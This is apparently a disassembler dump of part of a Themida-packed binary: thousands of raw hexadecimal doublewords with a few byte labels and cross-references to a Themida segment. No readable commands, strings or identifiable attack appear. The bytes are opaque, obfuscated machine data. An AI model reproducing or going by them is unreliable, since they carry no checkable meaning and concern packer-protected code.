0B0763AB7h dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh dd 0D88C66C3h, 840F04A8h, 29h, 3D6685C7h, 1064Bh, 0F500000h dd 0FE244C01h, 3D6A858Fh, 858D064Bh, 64B3D62h, 3D6ABD8Dh dd 3889064Bh, 23E9h, 0E5858D00h, 8B064821h, 17053840h dd 899B46F3h, 4B3D6285h, 0E5858D06h, 8B064821h, 85893C40h dd 64B3D66h, 3D7F858Dh, 8589064Bh, 648322Dh, 87E9h db 0 byte_570D61 db 52h, 8Bh, 0D4h ; DATA XREF: Themida_:0053FAE4o dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h db 0 byte_570D89 db 52h, 8Bh, 0D4h ; DATA XREF: Themida_:0053F218o dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h db 0 byte_570DB1 db 52h, 8Bh, 0D4h ; DATA XREF: Themida_:0053FE1Co dd 33535156h, 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h dd 34980400h, 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh dd 5E595BC3h, 8C25Ah, 3FF2858Dh, 8589064Bh, 6482D75h, 401A858Dh dd 8589064Bh, 64824A9h, 4042858Dh, 8589064Bh, 64830ADh dd 4BBE6660h, 0E8C08BC0h, 7, 0C919E658h, 0E87B27D6h, 0Eh dd 70BA460Dh, 3721DBA9h, 7CC040F6h, 5A5E703Ah, 20E9BD83h dd 75000648h, 61BD8309h, 6482Ch, 53501974h, 0EB8C08Bh dd 89000004h, 4828A185h, 2C9D8D06h, 0FF064AB0h, 83585BD3h dd 482C61BDh, 17740006h, 0EB85350h, 89000004h, 4828A185h dd 1B9D8D06h, 0FF064AADh, 6A585BD3h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0CC34C357h dd 14E9CFh, 0F87F0000h, 95CB1F4Bh, 0DA318F24h, 6B301D95h dd 86D2403h, 0D681B58Ah, 258FE56Ch, 8BCEBF0Fh, 0E98166C0h dd 0BD83FCA8h, 6480B19h, 2C840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0CEDFC357h, 41AE488h, 2D1E997h, 0A5BA0000h, 8C0859BDh dd 57006ADFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0DBA24171h, 34B88320h, 66F28BAEh, 66EDECBEh dd 4C7F7h, 295850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0D9FEA3C3h, 8BB6A744h dd 6AFF2BF0h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8D51C353h, 4B44089Dh, 12E806h dd 9C560000h, 24A56AC4h, 92972A1Fh, 68E2F727h, 9F644DFCh dd 0C681535Ah, 582596ABh, 24B5935Ah, 6A9350h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0BFB4C6C3h dd 820F93BCh, 3, 6420F680h, 35FFh, 64F80000h, 2589h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 1F944AC3h, 1D791C9Ah, 840F46CCh, 6, 3BBE6652h, 0C48B597Ch dd 0A37B966h, 0EB01CDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0D3C35343h, 56A67417h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Dh, 84C35646h, 6232A5F0h dd 0DC4570C6h, 64F2B2E4h, 58Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 26B67AC3h dd 0D65F1802h, 0F40A3EDh, 87h, 4C48300h, 7E8h, 0D4ECB00h dd 45ABCBF5h, 86DCBA66h, 0FC00B5Ah, 12284h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0D5DFCF23h, 4CD86FE9h, 61D08B61h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 5EC35646h, 0DED69E83h, 8DD68B6Ah dd 486F77BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 66F3E692h, 1943C281h, 1B8h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0B96020C2h, 0D32E0DB1h, 8F0F0DE9h, 3, 0FFCBBF0Fh, 52006AE7h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0C8563153h, 16564737h, 57CBB70Fh, 10245C8Bh, 0B8838Bh dd 0B60F0000h, 0C8FE0140h, 0B08389h, 83830000h, 0B8h, 0C0335F02h dd 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 52213C4Eh, 6D024D7Ah, 8800F66h, 0F000000h dd 28Dh, 61616000h, 8BFCD18Ah, 50006AC0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0EA7C90FBh dd 83D18B66h, 4820E9BDh, 9750006h, 2C61BD83h, 74000648h dd 8B535019h, 40EB8C0h, 85890000h, 6480021h, 0B0939D8Dh dd 0D3FF064Ah, 0BD83585Bh, 6482C61h, 50177400h, 40EB853h dd 85890000h, 6480021h, 0AD349D8Dh, 0D3FF064Ah, 0FF8585Bh dd 0C08BC9BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0F9C35242h, 9D1E36B3h, 0F2A359Ch, 688h, 89D28100h dd 8B7C770Fh, 8EBC2h, 0 dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 48194985h dd 0D0858D06h, 8B064B74h, 888B08h, 8B000010h, 4A8B660Ah dd 0C8D89FCh, 83064B45h, 4804E5BDh, 840F0006h, 0Fh, 0FF006A60h dd 48306195h, 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh dd 0CD520272h, 85895A04h, 64B4508h, 450CB58Bh, 0CEC1064Bh dd 72896610h, 0CB58B02h, 66064B45h, 61FC7289h, 4508858Bh dd 8DC3064Bh, 48072195h, 31958906h, 8906482Ah, 480FD595h dd 0D585FF06h, 0C606480Fh, 48276D85h, 0D8685306h, 0FFFCB148h dd 482C21B5h, 78858D06h, 0FF064838h, 618589D0h, 8D064830h dd 4B3D9985h, 1858906h, 0E906481Eh, 51h, 24748B60h, 3C760324h dd 28247C8Bh, 0C281D68Bh, 0F8h, 64E8B66h, 83C9B70Fh, 840F00F9h dd 16h, 0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh, 0C12B144Ah dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh dd 0FFFFE9E9h, 0FD3EBAFFh, 20EB0009h, 8 dup(0) dd 587E9h, 57BE900h, 17680000h, 0E9064B48h, 0FFFD36F7h dd 4B48CE68h, 36EDE906h, 8D68FFFDh, 0E9064B4Ah, 0FFFD36E3h dd 4B4B0C68h, 36D9E906h, 0EEFEFFFDh, 0ECE9BAA2h, 0F1E7B8A0h dd 0F4EAABA5h, 0F8EFB0A8h, 2D9584ACh, 0F963AFA8h, 0EB65B1A8h dd 0C36DB9AAh, 0BC74C092h, 0C6B894D8h, 665611F9h, 6781438Fh dd 4374101Bh, 7CF8428Eh, 0CFC6B306h, 7377885Bh, 0CFC6B303h dd 0EC37CE31h, 14A964Bh, 0FBA196Fh, 4BC10432h, 0D4F11638h dd 3F4Bh, 5586E300h, 0DF42F7Bh, 0B32B1B2Fh, 26094FC6h dd 0B2EB600Ch, 5F7B4FC6h, 0C6B31B8Bh, 1CF6194Fh, 2F0D2315h dd 0E7332A0Bh, 4129055Ch, 498DF516h, 7A5B0928h, 3E231C68h dd 13F95CF4h, 95000000h, 0C6B31C96h, 71D1F4Fh, 0F4EA9559h dd 35DC498Dh, 678141FBh, 540C2D1Bh, 50EA3F08h, 5D714DF7h dd 4FC6B2E9h, 224AE44Bh, 30394D67h, 386E8FDBh, 694536BFh dd 0C786C943h, 220B210Bh, 0E834218h, 0E320E5Ah, 66408F5h dd 93E1D5E1h, 0CFC63023h, 2C24EE11h, 81DF0D45h, 0C61FF56Dh dd 6CD837CFh, 200A7C50h, 72ACFC6h, 566A122Bh, 251E6A65h dd 203E303Ch, 13EECFC6h, 4FEB3730h, 28105C0Eh, 1A8C607Ch dd 1ACFC620h, 24141BF7h, 0E8418D42h, 18C3707Ch, 16F9C98Eh dd 0A50E6F0Dh, 365BA35Fh, 0BFB3BF5Bh, 0A8C97DCFh, 0B2A4A894h dd 0B7C97DCFh, 76CB54A0h, 7E967190h, 5F2E7CD7h, 976EE42Eh dd 0A9059E21h, 62E5CEh, 5B790000h, 5975D3E9h, 498DF7F6h dd 4F6BD938h, 17236F66h, 2E469446h, 4A0F2C2Bh, 1D3EF60Fh dd 0F419F945h, 0C3CAF043h, 3378578h, 7A6A0000h, 7855062Eh dd 7D53042Ch, 80560731h, 845BFC34h, 0B9210038h, 65CF1B34h dd 67D11D34h, 5FD92536h, 78E02C3Eh, 42343864h, 0F25611FBh dd 23FCFD3h, 0D3000003h, 2C785586h, 0F5B75E2h, 14D0831h dd 0E841035h, 684FC6B3h, 4FC6B272h, 0C6B39104h, 9C05D94Fh dd 73D23BD4h, 71E57360h, 0C34FC7A5h, 58A4C35Ch, 0EB9EEBA2h dd 672F234Fh, 53474FC7h, 234FC767h, 8FC7672Fh, 28142C0Ch dd 8CFFA424h, 8FAD5409h, 0CE68B4A6h, 88A0A079h, 0C4F10DCh dd 0A3B70FD9h, 0F854A0B2h, 0FC8F486h, 79AF8BA6h, 0E3FD13CCh dd 4CB58C97h, 0B3A55B5h, 0B27D0CB9h, 28043h, 55A1B300h dd 57A3BADBh, 58A4BCDDh, 5BA7BFE0h, 5BA7C0E1h, 0D75C82E1h dd 0DB7CB400h, 0E182BA06h, 0C596BE0Ah, 397C10Dh, 0FBA313D7h dd 32915611h, 1D6981F0h, 0F743163Fh, 439D52Ch, 0F30B2Dh dd 0C793FE38h, 0A599B593h, 874FC73Eh, 0BAE381A8h, 0E0F393BDh dd 0CEB26B94h, 376DE1EDh, 60BF4FC7h, 0D9F56DC9h, 498E7952h dd 0E2CCADD6h, 9D619FCAh, 0D32CD12Ch, 0FE188118h, 0A4B052Ch dd 0DF2B4056h, 0D16627Ch, 3263CD34h, 551081Eh, 0EE4E231Ch dd 0E5666AD6h, 174FD9C6h, 2DB04F6h, 47E0B4E0h, 96A716A9h dd 0C56F9611h, 0B5A9C599h, 774FC6F4h, 7CF67E98h, 0BF4FC6F4h dd 0F5F9677Dh, 498E3672h, 0F6DF7DA4h, 0CB17CEE4h, 0B1A9FA62h dd 0DDEF765h, 97A386C1h, 0ADA596AEh, 0B59DD561h, 0B15611BAh dd 0B882CE88h, 0BBA9BF81h, 0D8FC84AFh, 4C8F44Fh, 4FC6F492h dd 6DB37FA2h, 0CD85B692h, 0D486D781h, 0CDB5BF88h, 8E4FC6F4h dd 0A6AA96AEh, 498E36A5h, 0AB8CB857h, 0B0F16BB7h, 5CB56EBAh dd 0BF98C4DCh, 0BABA58A6h, 323632B8h, 47233FDBh, 4FD91220h dd 2D796F48h, 1D030FF2h, 372B4902h, 304FC70Eh, 6253C302h dd 4326216Dh, 705A65F7h, 455E54F1h, 3C17D719h, 35F23C43h dd 15h, 681D86C9h, 0AAE466F1h, 28224AE4h, 0F74FC758h, 0Ch dd 7B55868Bh, 1387E32Fh, 354FC6A9h, 62785586h, 42FD2470h dd 5CDC53DFh, 4F541844h, 0FD498DF5h, 0F0502922h, 120D590Eh dd 666AD62Fh, 4FD9C639h, 0A7C099C5h, 0DB79D05Bh, 4FCA276Bh dd 56CC66C9h, 54ADF9F1h, 0B83E25B6h, 0EA4B14CCh, 0C1h dd 9C94E0F4h, 9E96E2FBh, 9D97E3FDh, 9E96E2FCh, 9E96E2FDh dd 0BD9217BFh, 0C396C771h, 0C79CBD77h, 0CAA0C17Bh, 9EC2D67Eh dd 11FDDCD2h, 29755056h, 4D09E95Bh, 4AE34601h, 521E421Eh dd 4FC6B35Ch, 8DE531D0h, 498DF506h, 34805982h, 26FC16EBh dd 3324400Bh, 0EB2BD420h, 0B610E9BBh, 11330610h, 0CA814DFBh dd 1E4FDA56h, 49382E42h, 15FC4FCAh, 2A0827F9h, 0CCB8DC9Bh dd 4268CD96h, 75000000h, 7829135Fh, 7627115Dh, 7D1E1662h dd 7A1B1561h, 401F1965h, 0EE3A159Ah, 0F03C1546h, 0F8441748h dd 0FF4B1F40h, 511D4155h, 5611FE5Dh, 86AAF4CFh, 0B320965Ah dd 0ED144FC6h, 3F221h, 63900000h, 1F6B8117h, 135F7324h dd 28746718h, 1D69801Fh, 0E5A7522h, 216D6215h, 115D7926h dd 236F6916h, 125E7728h, 75687419h, 8900002Bh, 89562434h dd 4C681E6h, 81000000h, 4EEh, 24348700h, 2414895Ch, 3D1168h dd 242C8900h, 1CE16856h, 815E79B0h, 0CE28B3CEh, 2EEC125h dd 0B850D6F7h, 25CAD5C0h, 8958C601h, 8B545EF2h, 0C483242Ch dd 458F5204h, 2434FF08h, 4C4835Dh, 5A2434FFh, 0E904C483h dd 0FFFD3187h, 4B73B8B6h, 0C503064Bh, 0EBC88Bh, 601E9h dd 5F5E900h, 0E3680000h, 0E9064B4Ch, 0FFFD3167h, 4B4DEF68h dd 315DE906h, 7E68FFFDh, 0E9064B4Eh, 0FFFD3153h, 4B4F2F68h dd 3149E906h, 0A468FFFDh, 0E9064B50h, 0FFFD313Fh, 2C247064h dd 2E26726Bh, 2D27736Dh, 2E26726Ch, 2E26726Dh, 2D22A72Fh dd 332677E1h, 372C6DE7h, 3A3071EBh, 0E5246EEh, 11FF4C42h dd 0D705E056h, 0A313D703h, 915611FFh, 0FF6CE26Eh, 61C05611h dd 55866FD5h, 580B2C78h, 0F06A020Ch, 864FC6B2h, 4FC6B310h dd 0C6B2F76Eh, 0B30B7F4Fh, 7F5B4FC6h, 0C6B2FB6Bh, 0D97F364Fh dd 78CC787Dh, 62AEA592h, 8DA980E9h, 0C7396EE5h, 39900A4Fh dd 0EAD6CFC7h, 0C73970E6h, 105BC4CFh, 0DEB10EC1h, 7BBE58B1h dd 0B995B3C9h, 0C98F28B2h, 8EA7957Ch, 0F6A791DDh, 0CB8E99E5h dd 9C056379h, 6F4E8B50h, 13CC6F47h, 0DBEF6BC7h, 0CFD6CA1Ch dd 0C257B75Ah, 0F54CBB57h, 43FCB2Ah, 0CE9E0000h, 0CC89DA82h dd 0D187D880h, 0D48ACB85h, 0D88FD088h, 0DB5A48Ch, 0D983CF88h dd 0CB85D188h, 0A38DD98Ah, 9C94E0F2h, 66D8F438h, 0C65611FFh dd 6981232Fh, 118A221Dh, 504FC6B3h, 0A5D24D99h, 0A5E35CA8h dd 0C449F4CFh, 0EEC7378Eh, 70E6EAFBh, 0C44FC6B3h, 0ED6AC45Dh dd 0F3AFA9F5h, 78C20EC2h, 9CA7F3E7h, 909BE7FBh, 35AA69C1h dd 24E071Dh, 0F49E049h, 0F115324Dh, 3A35154h, 81E50000h dd 7A221D69h, 0DF3B8761h, 0C6B32093h, 7E557D4Fh, 0D1035109h dd 756BCF78h, 9178C4A1h, 90DCC078h, 0C790CABCh, 7CC76A4Fh dd 94BC08DBh, 0A5C30FC3h, 0C28E9FB4h, 4FC790CCh, 0DF68C160h dd 0ED97B08Ah, 9089FDD1h, 0BAAB4FC7h, 7FE25DA9h, 0B0A58CA6h dd 0D189DA82h, 0C49DBA85h, 23EA2576h, 0A99AC29Ah, 91CB62AEh dd 71E5E9D5h, 0C34FC743h, 0A09AD25Ch, 0C14FC743h, 8EE35CA8h dd 0A6AA96AEh, 498F1345h, 6FFA18F7h, 4ACAF3F0h, 3333C21h dd 0C2920000h, 0C09DBE76h, 0C59BBC74h, 0C89EBF79h, 0CC83D47Ch dd 8149D880h, 9D97E3FCh, 9F99E5FCh, 0B7A1EDFEh, 0B0A8F4E6h dd 7AEC002Ch, 0BA561200h, 5586171Bh, 0F3636778h, 414FC6B2h dd 6AEB47DEh, 236F6278h, 5FE84128h, 65DE2A40h, 52091F32h dd 79351F06h, 4FC6B2C1h, 0C6A33D35h, 0E12D244Fh, 6D7E5783h dd 0C3635321h, 2ED14FC6h, 59515BE4h, 0E24FC6C3h, 468A4862h dd 0FC0DFC88h, 333725h, 2E498F05h, 183A43D3h, 2AF5CAF3h dd 2A4CBh, 5510300h, 7530A4Bh, 8540C4Dh, 0B570F50h, 0B571051h dd 870CD251h, 8BCC84D0h, 91D28AD6h, 0F5A68EDAh, 33A791DDh dd 173E3E7h, 22C15612h, 53698120h, 226E697Fh, 7629220Bh dd 420F1864h, 9EB429ECh, 9C5F652h, 0DBCB9FBDh, 594FC6B3h dd 0A2F45CB6h, 54F1161Dh, 22866h, 1C960000h, 454FC6B3h dd 1561788Eh, 401344ECh, 570C2BF4h, 44DD2941h, 0FDD82EFBh dd 68B4AC8Dh, 8EDA91CEh, 15EFF4A6h, 579454F1h, 2A000000h dd 75D3E95Bh, 0F5418D44h, 0A976616Dh, 0DE02498Eh, 0ECE9C12h dd 0A5719056h, 0E78E9C83h, 0A2CAF34Bh, 1F364D9h, 82520000h dd 805DFE36h, 855BFC34h, 885EFF39h, 8C43143Ch, 0C1091840h dd 5DD7233Ch, 5FD9253Ch, 77E12D3Eh, 70E83426h, 3A2C406Ch dd 0FA561202h, 72BED7DBh, 5B716D4Eh, 14ED3682h, 5D4921EDh dd 0CF4FC6B3h, 59515B2Eh, 0DA331533h, 43073351h, 4FC6F153h dd 63F43EE1h, 0E7382470h, 0EACE95D0h, 850EAB2h, 0EC378357h dd 66023025h, 17105C75h, 3470E832h, 53524408h, 75E24FC7h dd 3217105Ch, 4D1E3FDBh, 61726301h, 9CFEA15h, 96ED96CDh dd 0CF83D47Ch, 0C297C883h, 96DABE76h, 0C718C4BAh, 0EBFF684Fh dd 9FBD869Fh, 18BFAFBBh, 0AFA24FC7h, 0CA64CB63h, 0D987D38Dh dd 8E99E500h, 0F33C50BBh, 4329433Ah, 12435FF7h, 0D039F23Eh dd 0A9E8AB37h, 0CA646E64h, 0DDF3EF67h, 5AB39691h, 0CB82B3D1h dd 0AEA2B37Fh, 8DAEFA62h, 0B6A8C4D5h, 764FC797h, 50B9729Bh dd 97B4AEC6h, 0B5874FC7h, 0BC9DC19Fh, 0AFBB57A3h, 498F813Ch dd 10864AF2h, 24560F7Dh, 1F3824FDh, 2142FA46h, 6B4CF844h dd 380D2975h, 0E0065407h, 0EC9CDE00h, 2582259Ah, 0FD4FFDFAh dd 20811B24h, 75059D07h, 6BB7AB60h, 0F2E778C2h, 0E6FA9DA6h dd 37CE1AD0h, 302F50ECh, 0D4562E35h, 0C375BC56h, 0B2A68FADh dd 0AA84DD66h, 0B0AD8EB2h, 0AC86DB64h, 0D715C3C0h, 7896794Fh dd 0CCBB0ACBh, 7E9085AEh, 0DD000000h, 0E081BB07h, 0DE7FB905h dd 0C596BE0Ah, 0C293BD09h, 8897C10Dh, 56A2BD42h, 58A4BDDEh dd 60ACBFE0h, 67B3A7F8h, 0A9C5E9EDh, 561203B5h, 81525C77h dd 2E7A5369h, 2AF50CF5h, 3E09550Dh, 0C3389BF3h, 0C799C30Fh dd 54F115BCh, 10C7h, 1D965F00h, 444FC6B3h, 71A428Eh, 13h dd 7D5586BBh, 0B570E31h, 0B34F432Fh, 40124FC6h, 86023CF4h dd 0E42E7A55h, 2E0B96Dh, 99000000h, 1F6B81CDh, 135F7324h dd 28746718h, 1D69801Fh, 0E5A7522h, 216D6215h, 115D7926h dd 236F6916h, 125E7728h, 89567419h, 4C681E6h, 83000000h dd 348704EEh, 24248B24h, 5E08950h, 4, 8704E883h, 895C2404h dd 89572414h, 4C781E7h, 81000000h, 4EFh, 243C8700h, 243C895Ch dd 80B85051h, 89005507h, 494158C1h, 449DC181h, 0CA8905F6h dd 3C8B5459h, 4C48324h, 24048152h, 0DEC36D3h, 5608478Fh dd 0EC36D3BEh, 877290Dh, 243C8B5Eh, 81E78957h, 4C7h, 4C78300h dd 5C243C87h, 5724148Bh, 0C781E789h, 4, 8704C783h, 0E95C243Ch dd 0FFFD2B7Fh, 0B82D5232h, 64B5147h, 0D18BC503h, 0D9E9h dd 0BE1D2000h, 82C12C0Fh, 0B6CFDF2Fh, 5D54FDBEh, 0ECA43636h dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h dd 0ACAC3252h, 91B8009Ch, 0CD64F7F6h, 389382h, 3C0000h dd 400000h, 940000h, 50000h, 10000h, 0A280000h, 20000h dd 20h dup(0) dd 8E080000h, 8E901D9h, 68000020h, 64B547Bh, 0FD2A86E9h dd 559B68FFh, 7CE9064Bh, 68FFFD2Ah, 64B5654h, 0FD2A72E9h dd 572C68FFh, 68E9064Bh, 68FFFD2Ah, 64B5805h, 0FD2A5EE9h dd 58C468FFh, 54E9064Bh, 68FFFD2Ah, 64B596Ah, 0FD2A4AE9h dd 5A1368FFh, 40E9064Bh, 68FFFD2Ah, 64B5DA4h, 0FD2A36E9h dd 5E1768FFh, 2CE9064Bh, 68FFFD2Ah, 64B5F5Eh, 0FD2A22E9h dd 62B968FFh, 18E9064Bh, 68FFFD2Ah, 64B6679h, 0FD2A0EE9h dd 6A3D68FFh, 4E9064Bh, 68FFFD2Ah, 64B6BD9h, 0FD29FAE9h dd 6C3F68FFh, 0F0E9064Bh, 68FFFD29h, 64B6CA9h, 0FD29E6E9h dd 6D0868FFh, 0DCE9064Bh, 68FFFD29h, 64B6E11h, 0FD29D2E9h dd 6F7968FFh, 0C8E9064Bh, 68FFFD29h, 64B7053h, 0FD29BEE9h dd 0A5F1E3FFh, 0A7F3EAABh, 0A8F4ECADh, 0ABF7EFB0h, 0ABF7F0B1h dd 0A72CB2B1h, 0ABEC64B0h, 0B1F26AB6h, 95C66EBAh, 0D3C771BDh dd 6D3C387h, 82615612h, 1D698140h, 7F297A22h, 34D37DE8h dd 441647D3h, 47F940F8h, 6C371331h, 0C2498EB0h, 0D2C8E45Fh dd 95560EF1h, 0D3F0669Dh, 0B05B394Fh, 31h, 0EE95B46h, 0C6B34C42h dd 0E841E04Fh, 9E9B707Ch, 2ED1498Eh, 0DEE357F5h, 4E84560Eh dd 6F60777h, 0C4E90485h, 740F4DE9h, 0F5B39A3h, 0A8h, 1D6981A7h dd 0E5A7522h, 24706215h, 1A667C1Bh, 0B6DF9622h, 50024FC6h dd 570B4C04h, 47F9400Bh, 30221331h, 3E124AE4h, 498E9EA5h dd 0C9B0A887h, 0E7036177h, 4FD42F5Fh, 0E5D6728Dh, 0E5B69EEAh dd 98909EEAh, 0DDCCB9CBh, 1DB7A392h, 56060000h, 5411520Ah dd 590F5008h, 5C72230Dh, 60772810h, 953D1C14h, 510B5710h dd 230D5910h, 1B156172h, 341C687Ah, 0FE707CA0h, 2E561206h dd 55868B97h, 13F6317Dh, 33815607h, 0B714B116h, 0CA84B761h dd 0A5B9A77Eh, 0C7A4D5C9h, 5EB8574Fh, 9BB1A9FAh, 0EC778C4h dd 97F16BC2h, 0FCD1E95Bh, 354EFA81h, 0B589B74Eh, 0D0D1C589h dd 0C0984FC6h, 0B056AB74h, 67D7F351h, 0C54FC6D0h, 4FA4D06Ah dd 9D498EBCh, 92BDE682h, 8D01CD11h, 9F560EF4h, 2956A780h dd 0E983BC56h, 560EDC71h, 0DAF6CAF6h, 560EDC64h, 7ECA9FC8h dd 69C55CC5h, 29B62CE7h, 5A5B393Fh, 0A3h, 1D6981F4h, 84617A22h dd 0D52C786Eh, 3A1BF74Ah, 0C580F25h, 5FE8342Bh, 8C28230Ah dd 4FC6B6D9h, 520A560Ch, 120D5911h, 79E7FD3Fh, 8E9E5E75h dd 0AFA79049h, 0DE81E863h, 9F82BD09h, 0D567CE86h, 948FDBF5h dd 0CBBB8FADh, 69560EDFh, 0ED015FC6h, 4FD44C90h, 0D40563BEh dd 0D485AFFBh, 0A75FAFFBh, 2CCB9D6h, 1C97C439h, 0F6E60000h dd 0F4F1B2AAh, 0F9EFB0A8h, 0FCD283ADh, 0D788B0h, 359D7CB4h dd 0F16BB7B0h, 0C36DB9B0h, 0BB75C192h, 0D47CC89Ah, 0DED09CC0h dd 4E561208h, 66812B77h, 6981221Ah, 8149331Dh, 75221D69h dd 0E804C5Dh, 1E4FC6B3h, 15896503h, 174FC6B3h, 442711F8h dd 0F60E2EBEh, 95B9864Ah, 240B498Eh, 3114E738h, 80898012h dd 8BEA8DA7h, 0AF8B078Bh, 279A5450h, 67D9F991h, 44D7F351h dd 0AA0454C4h, 0CD56A2BDh, 0BF928D74h, 0F5F9677Dh, 61C9435h dd 0BB9CC867h, 0CCED5BA7h, 0E870CA16h, 0BE92A3B7h, 0A8CE4C8h dd 7AEC006Ch, 0BA0A8CE4h, 0B757AE57h, 767D66D5h, 0DE66D7A0h dd 2D00001Bh, 3071EB37h, 2E6FE935h, 1546EE3Ah, 1243ED39h dd 0D847F13Dh, 26726DF2h, 28746D2Eh, 307C6F30h, 37835708h dd 795599FDh, 56120905h, 8182CC27h, 7A221D69h, 3BD63D29h dd 20FA8DFAh, 33112719h, 8F83D817h, 41FB1649h, 281858EEh dd 44083410h, 560F7C52h, 67F33FE2h, 0D75E9C63h, 0B647EA4Fh dd 0A49AB68Ah, 884FC7A1h, 0F4E58DA9h, 7C8878DAh, 3B1C3D23h dd 58749739h, 17786EE6h, 0F842EB46h, 7BE9FF41h, 6F1B8B5Fh dd 0F6191778h, 0F6408C45h, 5AC9626Eh, 0FC231140h, 0A85D3F60h dd 304D305Bh, 281861E6h, 4A033410h, 52DC45FEh, 9104460Ah dd 49720B87h, 2306418Dh, 52EE1117h, 2B257169h, 6367786Ah dd 1777F0F3h, 0E747DE41h, 0B0A6953h, 658BD66h, 5500001Bh dd 5809337Fh, 5607317Dh, 5DFE3682h, 5AFB3581h, 20FF3985h dd 0CE1A35BAh, 0D01C3566h, 0D8243768h, 0DF2B3F60h, 313D6175h dd 56120A3Dh, 86CAD4EFh, 0F52E7A55h, 0EC382B0Ch, 1344CE33h dd 0E138F33Fh, 3F1B495Fh, 0C6B33B2Bh, 2A16F94Fh, 0C6B33026h dd 111D044Fh, 82A68549h, 7998498Eh, 8BCB6CBFh, 5CC5A3B9h dd 7C0D4F0Fh, 0AAB27CC7h, 0D72159A6h, 0ABBFAB4Fh, 4FC75FBBh dd 6E6F9679h, 475D7962h, 64DF4692h, 133931FDh, 53D36EB7h dd 0A5B1A72Ah, 0C34F4D4Fh, 88B4CC6Ch, 0B26DB9AFh, 0D397C34Fh dd 0E636A4C0h, 8C02CE6Eh, 0A0EAA6DCh, 9BBCA881h, 8BAC77C3h dd 99758CD8h, 556BCDA4h, 0B427E3E7h, 0BA55E46Eh, 69B5AD8Eh dd 70BCAEEFh, 134686A2h, 65D8A350h, 1A2Dh, 341C687Ch, 361E6A63h dd 351F6B65h, 361E6A64h, 361E6A65h, 451A9F27h, 4B1E3FF9h dd 4F0455FFh, 52085903h, 264A4E06h, 120B544Ah, 0B1FDD856h dd 2C785586h, 115D75E2h, 0EB014316h, 0BFBA717Dh, 43F4498Eh dd 0FF6F7B8Ch, 2D560EBFh, 76D23BD2h, 0FFB9010Dh, 0C44EB94Eh dd 0DA14998Ch, 0DAF6526Ah, 4FD72F0Dh, 259ABE5Fh, 6A356A98h dd 4F7CA5C3h, 557D4D1Ah, 9B0BDF7Dh, 994FC7B0h, 3F5D9C76h dd 0B2850375h, 0F6526ADAh, 0D0E841DAh, 0D884AB46h, 552D57C7h dd 55AE78AEh, 0D9166B18h, 83DD9F0h, 4BF90F31h, 98ECC37Fh dd 2A16F944h, 230D5911h, 0F6146072h, 31F90D74h, 6E3B1A45h dd 0BD000019h, 0C0E15BA7h, 0BEDF59A5h, 0A5F65EAAh, 0A2F35DA9h dd 68F761ADh, 0B602DD62h, 0B804DD7Eh, 0C00CDF80h, 0C713C798h dd 9E5098Dh, 56120B95h, 81F23C97h, 327E5369h, 30516DDBh dd 93738975h, 0D1C59364h, 634FC7A1h, 84CD72BCh, 0ACC09CB4h dd 498F85AFh, 979AC25Dh, 697FC131h, 6028EFFBh, 0BB564FD7h dd 68B4AC8Dh, 7E3533CEh, 0BFDC0F32h, 74C09D7Dh, 35A058Bh dd 6BC201C2h, 0F05AF1FDh, 6D94DD56h, 0C7DD5FB2h, 895D599h dd 9EC7DF0Fh, 59B07BC7h, 0AFA394B0h, 0B2A8F963h, 12ACC866h dd 0BE695F73h, 18C85Fh, 0F9451700h, 0FB471E3Fh, 0FC482041h dd 0FF4B0354h, 0FF4B0455h, 7B00C655h, 7F201864h, 65361E6Ah dd 693A226Eh, 0A72B2571h, 0BF76783h, 9E355612h, 1D698194h dd 0D7ED4F22h, 6E645569h, 0F6402922h, 8DE0F37Eh, 82DE4149h dd 4F338159h, 59FB4DF4h, 7E2A12FBh, 0AC188E62h, 0F51C5612h dd 0ABED5119h, 0EA6E5612h, 9E182BAh, 9C9C93BDh, 8D14D884h dd 0BB4FD9DAh, 0E3D4E854h, 0C996A0ECh, 0CC98C00Ch, 5E6ADCF0h dd 67CA4FC7h, 87D38ACBh, 0AE7FA0BCh, 1681AC05h, 0B2A8B581h dd 0AF78C49Ch, 